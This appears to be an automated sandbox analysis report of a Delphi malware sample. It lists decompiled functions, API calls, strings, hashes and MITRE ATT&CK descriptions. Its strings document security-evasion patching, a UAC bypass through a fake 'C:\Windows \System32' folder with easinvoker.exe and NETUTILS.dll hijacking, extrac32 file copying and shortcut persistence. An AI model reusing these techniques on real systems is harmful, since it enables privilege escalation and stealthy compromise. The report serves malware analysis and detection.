String ID: .$Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-3917250287
Opcode ID: 16e54660c3c250cf27add3b4bad80f8b977d092432b674f32e6fec11d93564b2
Instruction ID: 6b780af5619e30e0525a504d184fe80fca722e9eaffa2bd9be431d16b0385779
Opcode Fuzzy Hash: 16e54660c3c250cf27add3b4bad80f8b977d092432b674f32e6fec11d93564b2
Instruction Fuzzy Hash: 2F51687DE4021C7AFB25D6A8CC56FEF77AD9B04744F8001A1A608E6181EF78DA848F65

Uniqueness

Uniqueness Score: -1.00%

Function 028B7AC0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40
librarynativeloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(bcrypt,028B9A30,Initialize,02904360,028B9A30,UacScan,02904360,028B9A30,UacInitialize,02904360,028B9A30,0290438C,029043DC,ScanString,02904360,028B9A30), ref: 028B7AD2
GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 028B7ADF
NtWriteVirtualMemory.NTDLL(02904388,00000000,?,00000001,?), ref: 028B7AF6
FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,028B9A30,Initialize,02904360,028B9A30,UacScan,02904360,028B9A30,UacInitialize,02904360,028B9A30,0290438C,029043DC), ref: 028B7B05

Strings

bcrypt, xrefs: 028B7AD1
BCryptVerifySignature, xrefs: 028B7ADD

Memory Dump Source

Source File: 00000018.00000002.1636496572.00000000028A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_28a1000_Ucvuiswb.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
String ID: BCryptVerifySignature$bcrypt
API String ID: 1002360270-4067648912
Opcode ID: ad32a12dd2a313207f2abf6604a44fcdea95e0bf229231ac431631d10f8221b9
Instruction ID: 73342a6e248a7cc4d0edf143eb41f69e1bb43da48dfe3d3b25ce73901cb647c7
Opcode Fuzzy Hash: ad32a12dd2a313207f2abf6604a44fcdea95e0bf229231ac431631d10f8221b9
Instruction Fuzzy Hash: 87F0E27E6093243EE622612C5C80EFFA29DCFC27A1F04462DF558E6280EB618804C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 028B7966 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24
librarymemorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 028B7975
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 028B797B
NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 028B799B

Strings

NtAllocateVirtualMemory, xrefs: 028B796B
C:\Windows\System32\ntdll.dll, xrefs: 028B7970

Memory Dump Source

Source File: 00000018.00000002.1636496572.00000000028A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_28a1000_Ucvuiswb.jbxd

Yara matches

Similarity

API ID: AddressAllocateHandleMemoryModuleProcVirtual
String ID: C:\Windows\System32\ntdll.dll$NtAllocateVirtualMemory
API String ID: 421316089-2206134580
Opcode ID: ebd32a87d1cfe806aec13099d63a5c5ce7dfab145f833b55d9b931cd1d7c764f
Instruction ID: cbd97bb4eb0d9f4e1b73a7b0ba35ee1198be883865a20a0d9ccb4a293ea34d21
Opcode Fuzzy Hash: ebd32a87d1cfe806aec13099d63a5c5ce7dfab145f833b55d9b931cd1d7c764f
Instruction Fuzzy Hash: F5E09ABA64030CBFEB01EEACDC85EEA77ACAB0C611F045415BA19D7205DA74E9508BB5

Uniqueness

Uniqueness Score: -1.00%

Function 028B7968 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23
librarymemorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 028B7975
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 028B797B
NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 028B799B

Strings

NtAllocateVirtualMemory, xrefs: 028B796B
C:\Windows\System32\ntdll.dll, xrefs: 028B7970

Memory Dump Source

Source File: 00000018.00000002.1636496572.00000000028A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_28a1000_Ucvuiswb.jbxd

Yara matches

Similarity

API ID: AddressAllocateHandleMemoryModuleProcVirtual
String ID: C:\Windows\System32\ntdll.dll$NtAllocateVirtualMemory
API String ID: 421316089-2206134580
Opcode ID: 89fb08ff24d373875133f56034a3cd0e256f1483ce99151a4b2e1cdba8d38465
Instruction ID: c69abd50d24a7beb0f602d8227b6bbf274cbdfb4c74c737420210ca79bbe489a
Opcode Fuzzy Hash: 89fb08ff24d373875133f56034a3cd0e256f1483ce99151a4b2e1cdba8d38465
Instruction Fuzzy Hash: DAE09ABA54030CBFEB01EE9CD885EDA77ACAB0C611F045415BA19D7205DA74E5508BB5

Uniqueness

Uniqueness Score: -1.00%

Function 028BC4DC Relevance: 3.1, APIs: 2, Instructions: 80
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDosPathNameToNtPathName_U.NTDLL(00000000,?,00000000,00000000), ref: 028BC517
NtClose.NTDLL(?), ref: 028BC591

Part of subcall function 028A4C24: SysFreeString.OLEAUT32(?), ref: 028A4C32

Memory Dump Source

Source File: 00000018.00000002.1636496572.00000000028A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_28a1000_Ucvuiswb.jbxd

Yara matches

Similarity

API ID: Path$CloseFreeNameName_String
String ID:
API String ID: 11680810-0
Opcode ID: 29b49d90609c7a610ecad9c540a3bc2426421d618950ac00d8b12edb9ea773bb
Instruction ID: 0dcf7844a6b309b9e1a9489e9020ae0ac03a6c42b76b23827dae3d7b0f71fbf5
Opcode Fuzzy Hash: 29b49d90609c7a610ecad9c540a3bc2426421d618950ac00d8b12edb9ea773bb
Instruction Fuzzy Hash: 96219279A507087EEB11EAD8CC52FDEB7BDAF48700F540466B604E72C0DAB4BA058B65

Uniqueness

Uniqueness Score: -1.00%

Function 028C1ABA Relevance: 45.0, APIs: 2, Strings: 22, Instructions: 2961
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 028B7BE8: LoadLibraryW.KERNEL32(?,00000000,028B7C9A,?), ref: 028B7C18
Part of subcall function 028B7BE8: GetModuleHandleW.KERNEL32(?,?,00000000,028B7C9A), ref: 028B7C1E
Part of subcall function 028B7BE8: GetProcAddress.KERNEL32(0290434C,00000000), ref: 028B7C37

Part of subcall function 028BC3F8: RtlDosPathNameToNtPathName_U.NTDLL(00000000,?,00000000,00000000), ref: 028BC437
Part of subcall function 028BC3F8: NtCreateFile.NTDLL(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000), ref: 028BC471
Part of subcall function 028BC3F8: NtWriteFile.NTDLL(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000), ref: 028BC49E
Part of subcall function 028BC3F8: NtClose.NTDLL(?), ref: 028BC4A7

Sleep.KERNEL32(00001770,UacScan,02900BA8,028C8FEC,ScanString,02900BA8,028C8FEC,OpenSession,02900BA8,028C8FEC,ScanBuffer,02900BA8,028C8FEC,OpenSession,02900BA8,028C8FEC), ref: 028C3094

Part of subcall function 028BC368: RtlInitUnicodeString.NTDLL(?,?), ref: 028BC390
Part of subcall function 028BC368: RtlDosPathNameToNtPathName_U.NTDLL(00000000,?,00000000,00000000), ref: 028BC3A6
Part of subcall function 028BC368: NtDeleteFile.NTDLL(?), ref: 028BC3C5

WinExec.KERNEL32(00000000,028C953C), ref: 028C436D

Strings

C:\Users\Public\, xrefs: 028C3C19, 028C4E7D
.url, xrefs: 028C3C24
IconIndex=, xrefs: 028C4C37
URL=file:", xrefs: 028C4BE3
O.bat, xrefs: 028C1E95
s.d, xrefs: 028C227B
C:\Users\Public\alpha.exe, xrefs: 028C3330
HotKey=, xrefs: 028C4D6B
C:\Windows \System32\easinvoker.exe, xrefs: 028C32DF
C:\Windows \System32\aaa.bat, xrefs: 028C3315
Initialize, xrefs: 028C26A8, 028C3707, 028C3A9C, 028C3E98, 028C405D, 028C4155, 028C43FA, 028C45FF
UacScan, xrefs: 028C1ACC, 028C1D52, 028C1E14, 028C1F6E, 028C2066, 028C22D9, 028C25B0, 028C281D, 028C29B6, 028C301F, 028C3A20, 028C3F90, 028C41D1, 028C4476, 028C4583, 028C47E1, 028C48D9
[InternetShortcut], xrefs: 028C4BD4
ScanString, xrefs: 028C1B48, 028C1C5A, 028C1ECD, 028C21A4, 028C23D1, 028C24EE, 028C262C, 028C2724, 028C2915, 028C2FA3, 028C33CD, 028C3449, 028C35E3, 028C3928, 028C3CEC, 028C437E, 028C4B64, 028C4CD9, 028C4D91
C:\\Windows\\System32\\extrac32.exe /C /Y , xrefs: 028C433B
CO.bat, xrefs: 028C27E5
C:\Windows \System32\NETUTILS.dll, xrefs: 028C32FA
UacInitialize, xrefs: 028C2A32, 028C2BEC, 028C2D8A, 028C3121, 028C3783, 028C3C70
ScanBuffer, xrefs: 028C1CD6, 028C1FEA, 028C2B2A, 028C2CE4, 028C2E82, 028C319D, 028C3351, 028C3541, 028C387B, 028C3B94, 028C3F14, 028C42C9, 028C44F2, 028C46F7, 028C485D, 028C49D1, 028C4A4D
C:\\Users\\Public\\Libraries\\, xrefs: 028C4000
er.e, xrefs: 028C1C0F
OpenSession, xrefs: 028C2128, 028C2355, 028C2472, 028C2899, 028C2AAE, 028C2C68, 028C2E06, 028C2F27, 028C30A5, 028C34C5, 028C365F, 028C37FF, 028C39A4, 028C3B18, 028C3D68, 028C3E1C, 028C40D9, 028C424D, 028C467B, 028C4955, 028C4AC9, 028C4C5D, 028C4E0D

Memory Dump Source

Source File: 00000018.00000002.1636496572.00000000028A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_28a1000_Ucvuiswb.jbxd

Yara matches

Similarity

API ID: Path$File$NameName_$AddressCloseCreateDeleteExecHandleInitLibraryLoadModuleProcSleepStringUnicodeWrite
String ID: .url$C:\Users\Public\$C:\Users\Public\alpha.exe$C:\Windows \System32\NETUTILS.dll$C:\Windows \System32\aaa.bat$C:\Windows \System32\easinvoker.exe$C:\\Users\\Public\\Libraries\\$C:\\Windows\\System32\\extrac32.exe /C /Y $CO.bat$HotKey=$IconIndex=$Initialize$O.bat$OpenSession$ScanBuffer$ScanString$URL=file:"$UacInitialize$UacScan$[InternetShortcut]$er.e$s.d
API String ID: 1793215137-2603961859
Opcode ID: 5ead63ff801801121476e0dddeb9845168b4256f0d1822bbca8d4746cf5df041
Instruction ID: bd7b063ff216a8bcbd7e5ead88f203ef37fae1faeb22c7fb8f85f544eee35fda
Opcode Fuzzy Hash: 5ead63ff801801121476e0dddeb9845168b4256f0d1822bbca8d4746cf5df041
Instruction Fuzzy Hash: 71530C3DA501589FEF51EB68D890EADB3B6BF85700F2044E5A009E7614DFB0AE85CF52

Uniqueness

Uniqueness Score: -1.00%

Function 028C4EFD Relevance: 18.4, APIs: 2, Strings: 8, Instructions: 942
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 028B7BE8: LoadLibraryW.KERNEL32(?,00000000,028B7C9A,?), ref: 028B7C18
Part of subcall function 028B7BE8: GetModuleHandleW.KERNEL32(?,?,00000000,028B7C9A), ref: 028B7C1E
Part of subcall function 028B7BE8: GetProcAddress.KERNEL32(0290434C,00000000), ref: 028B7C37

Part of subcall function 028BD318: RegOpenKeyA.ADVAPI32(?,00000000,02904798), ref: 028BD35C
Part of subcall function 028BD318: RegSetValueExA.ADVAPI32(02904798,00000000,00000000,00000001,00000000,0290479C,?,00000000,02904798,00000000,028BD3C7), ref: 028BD394
Part of subcall function 028BD318: RegCloseKey.ADVAPI32(02904798,02904798,00000000,00000000,00000001,00000000,0290479C,?,00000000,02904798,00000000,028BD3C7), ref: 028BD39F

WinExec.KERNEL32(00000000,00000000), ref: 028C57F9

Part of subcall function 028B9E70: CompareStringA.KERNEL32(00000400,00000001,00000000,?,00000000), ref: 028B9F33

RtlMoveMemory.NTDLL(00000000,00000000,00000000), ref: 028C5D7B

Strings

C:\Users\Public\, xrefs: 028C516A
UacInitialize, xrefs: 028C5765
C:\Windows\System32\, xrefs: 028C57E3
ScanBuffer, xrefs: 028C50FA, 028C55DC, 028C566D, 028C5A9D, 028C5C30, 028C5D8C, 028C5F00
Initialize, xrefs: 028C4F86, 028C5560
UacScan, xrefs: 028C507E, 028C5278, 028C52F4, 028C5468, 028C580A, 028C5A21, 028C5BB4, 028C5E84
ScanString, xrefs: 028C4F0A, 028C53EC, 028C5886, 028C5CED
OpenSession, xrefs: 028C5002, 028C51FC, 028C5370, 028C54E4, 028C56E9, 028C5902, 028C59A5, 028C5B38, 028C5E08

Memory Dump Source

Source File: 00000018.00000002.1636496572.00000000028A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_28a1000_Ucvuiswb.jbxd

Yara matches

Similarity

API ID: AddressCloseCompareExecHandleLibraryLoadMemoryModuleMoveOpenProcStringValue
String ID: C:\Users\Public\$C:\Windows\System32\$Initialize$OpenSession$ScanBuffer$ScanString$UacInitialize$UacScan
API String ID: 897696978-872072817
Opcode ID: 331da04d179b9290a68003559e3011f5a7a20046f7f6c456a7a690c75e06f7e7
Instruction ID: a9e2093cd476efcb10323525bee74ec9ed9aa622398ea1e5ad2deb1f3de7d291
Opcode Fuzzy Hash: 331da04d179b9290a68003559e3011f5a7a20046f7f6c456a7a690c75e06f7e7
Instruction Fuzzy Hash: 63920B3DA501589FEF11EB68D8A0ADDB3B6BF85700F2084A5A149E7714DFB0AE85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 028A1727 Relevance: 9.0, APIs: 7, Instructions: 288
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000), ref: 028A17D0
Sleep.KERNEL32(0000000A,00000000), ref: 028A17E6

Memory Dump Source

Source File: 00000018.00000002.1636496572.00000000028A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_28a1000_Ucvuiswb.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 889f1f8079c9fb08bc9dcc9c5f16a33ff21abeec0c84488f27a849acf8aa42c3
Instruction ID: 8b9bb7bfef76ab0150991103df70051167eff63a486319264ac4ccb4fc24b529
Opcode Fuzzy Hash: 889f1f8079c9fb08bc9dcc9c5f16a33ff21abeec0c84488f27a849acf8aa42c3
Instruction Fuzzy Hash: F1B1227EA052548FE715CF2CD4E8365BBE1EB84364F0886ADD44DCB389CB70A451CB91

Uniqueness

Uniqueness Score: -1.00%

Function 028B7B20 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32,00000000,00000000,028B7BA5,?,?,00000000,00000000), ref: 028B7B61
GetProcAddress.KERNEL32(00000000,kernel32), ref: 028B7B67
VirtualProtect.KERNEL32(?,?,?,?,00000000,kernel32,00000000,00000000,028B7BA5,?,?,00000000,00000000), ref: 028B7B81

Strings

kernel32, xrefs: 028B7B5C
irtualProtect, xrefs: 028B7B39

Memory Dump Source

Source File: 00000018.00000002.1636496572.00000000028A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_28a1000_Ucvuiswb.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID: irtualProtect$kernel32
API String ID: 2099061454-2063912171
Opcode ID: 2baccda0e96d6dae7153bf56e35cef52e2051e7db84d832db1dc5e3121e286aa
Instruction ID: 2e1f6c07f506ef70b176d93c81ae1520bf1dd61d9f50b18dfc6974b4492d8498
Opcode Fuzzy Hash: 2baccda0e96d6dae7153bf56e35cef52e2051e7db84d832db1dc5e3121e286aa
Instruction Fuzzy Hash: 5A01717D600348AFEB01EFA8DC51EAAB7EDEF88710F514464B514E3780DA74AA108E25

Uniqueness

Uniqueness Score: -1.00%

Function 028A1A8F Relevance: 7.7, APIs: 6, Instructions: 173
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000), ref: 028A1B17
Sleep.KERNEL32(0000000A,00000000), ref: 028A1B31

Memory Dump Source

Source File: 00000018.00000002.1636496572.00000000028A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_28a1000_Ucvuiswb.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 5af09326c51253fa23d2eb422537ff63cc5504c8debbf566f3c7213c590a3fef
Instruction ID: cbbc997c5bb6e4d7bbd36d6f8ec3f9ce2610470df302e8408896ddf2cc1aa655
Opcode Fuzzy Hash: 5af09326c51253fa23d2eb422537ff63cc5504c8debbf566f3c7213c590a3fef
Instruction Fuzzy Hash: 2051F17D6062408FF715CF6CC9E8766BBD4AB45314F1881AED44CCB286EB70D446CB92

Uniqueness

Uniqueness Score: -1.00%

Function 028B7BE8 Relevance: 4.6, APIs: 3, Instructions: 52
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(?,00000000,028B7C9A,?), ref: 028B7C18
GetModuleHandleW.KERNEL32(?,?,00000000,028B7C9A), ref: 028B7C1E
GetProcAddress.KERNEL32(0290434C,00000000), ref: 028B7C37

Part of subcall function 028B7B20: GetModuleHandleA.KERNEL32(kernel32,00000000,00000000,028B7BA5,?,?,00000000,00000000), ref: 028B7B61
Part of subcall function 028B7B20: GetProcAddress.KERNEL32(00000000,kernel32), ref: 028B7B67
Part of subcall function 028B7B20: VirtualProtect.KERNEL32(?,?,?,?,00000000,kernel32,00000000,00000000,028B7BA5,?,?,00000000,00000000), ref: 028B7B81

Memory Dump Source

Source File: 00000018.00000002.1636496572.00000000028A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_28a1000_Ucvuiswb.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc$LibraryLoadProtectVirtual
String ID:
API String ID: 2543409266-0
Opcode ID: 4756bdc0b5d9ef01bd0063f18a0fcfd75c41b1502de2b07f706acd42c99af3a8
Instruction ID: 625cc786c17de99813e8d3896983b78a14a3c9c445d66715f984bdfcfd7f5f31
Opcode Fuzzy Hash: 4756bdc0b5d9ef01bd0063f18a0fcfd75c41b1502de2b07f706acd42c99af3a8
Instruction Fuzzy Hash: F201E97C604308AFFF04EB6CD9A1A5EB7B9EB84300F542064A218D3784EE7498008F16

Uniqueness

Uniqueness Score: -1.00%

Function 028A415C Relevance: 3.1, APIs: 2, Instructions: 125
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000018.00000002.1636496572.00000000028A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_28a1000_Ucvuiswb.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bb8bc12a2b80848937b45a5c1f6d8d54f1068f2835436190cb6a20a71cbf92b
Instruction ID: 9a693b08ff896feb26748754e04ba7dc8b6052310bd37e10e07f9bd4a1eb29a5
Opcode Fuzzy Hash: 0bb8bc12a2b80848937b45a5c1f6d8d54f1068f2835436190cb6a20a71cbf92b
Instruction Fuzzy Hash: 1141BFBCD05248DFEF14DF28E49476A77F1FB08324F64845AD818D7284DBB4A891CB46

Uniqueness

Uniqueness Score: -1.00%

Function 028A582C Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(13C81B20,?,00000105), ref: 028A584A

Part of subcall function 028A5A90: GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 028A5AAC
Part of subcall function 028A5A90: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 028A5ACA
Part of subcall function 028A5A90: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 028A5AE8
Part of subcall function 028A5A90: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 028A5B06
Part of subcall function 028A5A90: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000005,00000000,028A5B95,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 028A5B4F
Part of subcall function 028A5A90: RegQueryValueExA.ADVAPI32(?,028A5CFC,00000000,00000000,00000000,00000005,?,?,00000000,00000000,00000000,00000005,00000000,028A5B95,?,80000001), ref: 028A5B6D
Part of subcall function 028A5A90: RegCloseKey.ADVAPI32(?,028A5B9C,00000000,00000000,00000005,00000000,028A5B95,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 028A5B8F

Memory Dump Source

Source File: 00000018.00000002.1636496572.00000000028A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_28a1000_Ucvuiswb.jbxd

Yara matches

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: 8a4b19b7324ab4c137f675191953a7ec3a4d1c3d6609a598d8f1dedecf7690e6
Instruction ID: 84e06be41cad6753b4a1aa1c01a8b0a68c90affd47ab032339f2d90c630e8d87
Opcode Fuzzy Hash: 8a4b19b7324ab4c137f675191953a7ec3a4d1c3d6609a598d8f1dedecf7690e6
Instruction Fuzzy Hash: CBE06D79A002248BDB10DE5C88C0A5733D9AB08754F440961EC68CF246D774D9608BD1

Uniqueness

Uniqueness Score: -1.00%

Function 028A7E3C Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,028C1133,ScanString,02900BA8,028C8FEC,OpenSession,02900BA8,028C8FEC,OpenSession,02900BA8,028C8FEC,ScanBuffer,02900BA8,028C8FEC,ScanString), ref: 028A7E47

Memory Dump Source

Source File: 00000018.00000002.1636496572.00000000028A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_28a1000_Ucvuiswb.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 198306c4462bc0bb9e5a1539ed44b571103b139370df0eb3b7b09f60ce76aac9
Instruction ID: f7b36c44e7a80163fcdb1937a2ce4c3d9c8e59394d5316d8ab79b58fca39025d
Opcode Fuzzy Hash: 198306c4462bc0bb9e5a1539ed44b571103b139370df0eb3b7b09f60ce76aac9
Instruction Fuzzy Hash: 81C08CEC6023040E7E5062FC1CE02AD828A194493A7282B21E02CE61D2EF1298323821

Uniqueness

Uniqueness Score: -1.00%

Function 028C9B54 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

timeSetEvent.WINMM ref: 028C9B64

Memory Dump Source

Source File: 00000018.00000002.1636496572.00000000028A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_28a1000_Ucvuiswb.jbxd

Yara matches

Similarity

API ID: Eventtime
String ID:
API String ID: 2982266575-0
Opcode ID: 01a32484770319eec6e42924a51a4db1d74b934a8f3bb5500c4d6769e5ed75e7
Instruction ID: 00e30d946c8d94b76d5addf39fd5f72fd7ba8946afb15f239811562b97d4eecb
Opcode Fuzzy Hash: 01a32484770319eec6e42924a51a4db1d74b934a8f3bb5500c4d6769e5ed75e7
Instruction Fuzzy Hash: 20C092F87E53003EF6205AA81CD2F77558DD704B01F601896B700EE2C1DAF2A8201660

Uniqueness

Uniqueness Score: -1.00%

Function 028A15CC Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00140000,00001000,00000004), ref: 028A15E2

Memory Dump Source

Source File: 00000018.00000002.1636496572.00000000028A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_28a1000_Ucvuiswb.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 696658e18e9d2d192498dc70d4f1ca80ad8edee0af211f25018be9aee6bb5d18
Instruction ID: 20109422140bd523a2c1bc0a98d4c29c706312afa18c2e02bed7f51a0528c75e
Opcode Fuzzy Hash: 696658e18e9d2d192498dc70d4f1ca80ad8edee0af211f25018be9aee6bb5d18
Instruction Fuzzy Hash: F0F06DF8B453008FEB06CF7999943117BD6E789345F148679E60DDB398EB71A4028B00

Uniqueness

Uniqueness Score: -1.00%

Function 028A1682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00101000,00000004), ref: 028A16A4

Memory Dump Source

Source File: 00000018.00000002.1636496572.00000000028A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_28a1000_Ucvuiswb.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 5c3b82809daca46a5213ce5a970d02f3cad5ceeb466d96edba1fd5fb1cb6fb1c
Instruction ID: 8119e90f0b8dea6d03a6945568be55ce25b628d06b580eafe546dee8428ce633
Opcode Fuzzy Hash: 5c3b82809daca46a5213ce5a970d02f3cad5ceeb466d96edba1fd5fb1cb6fb1c
Instruction Fuzzy Hash: 8FF090F6B44B996FE7119E5E9CC4792BBA4FB44314F050179E90CDB344D770A8108B98

Uniqueness

Uniqueness Score: -1.00%

Function 028A16E6 Relevance: 1.3, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000), ref: 028A1704

Memory Dump Source

Source File: 00000018.00000002.1636496572.00000000028A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_28a1000_Ucvuiswb.jbxd

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 396f1b8e2edc35d1dc41e9d49478c49f96c84ec049d1bb6fc95089dca802a917
Instruction ID: 42388f769e68de88c88002c315efd9d9ed5485b290de7171b05f3af4d317ccf1
Opcode Fuzzy Hash: 396f1b8e2edc35d1dc41e9d49478c49f96c84ec049d1bb6fc95089dca802a917
Instruction Fuzzy Hash: 3EE0267D3003006FF7105A3D4D88B12BBC9EB84374F240575F209CB2D1CBA0E8008B24

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

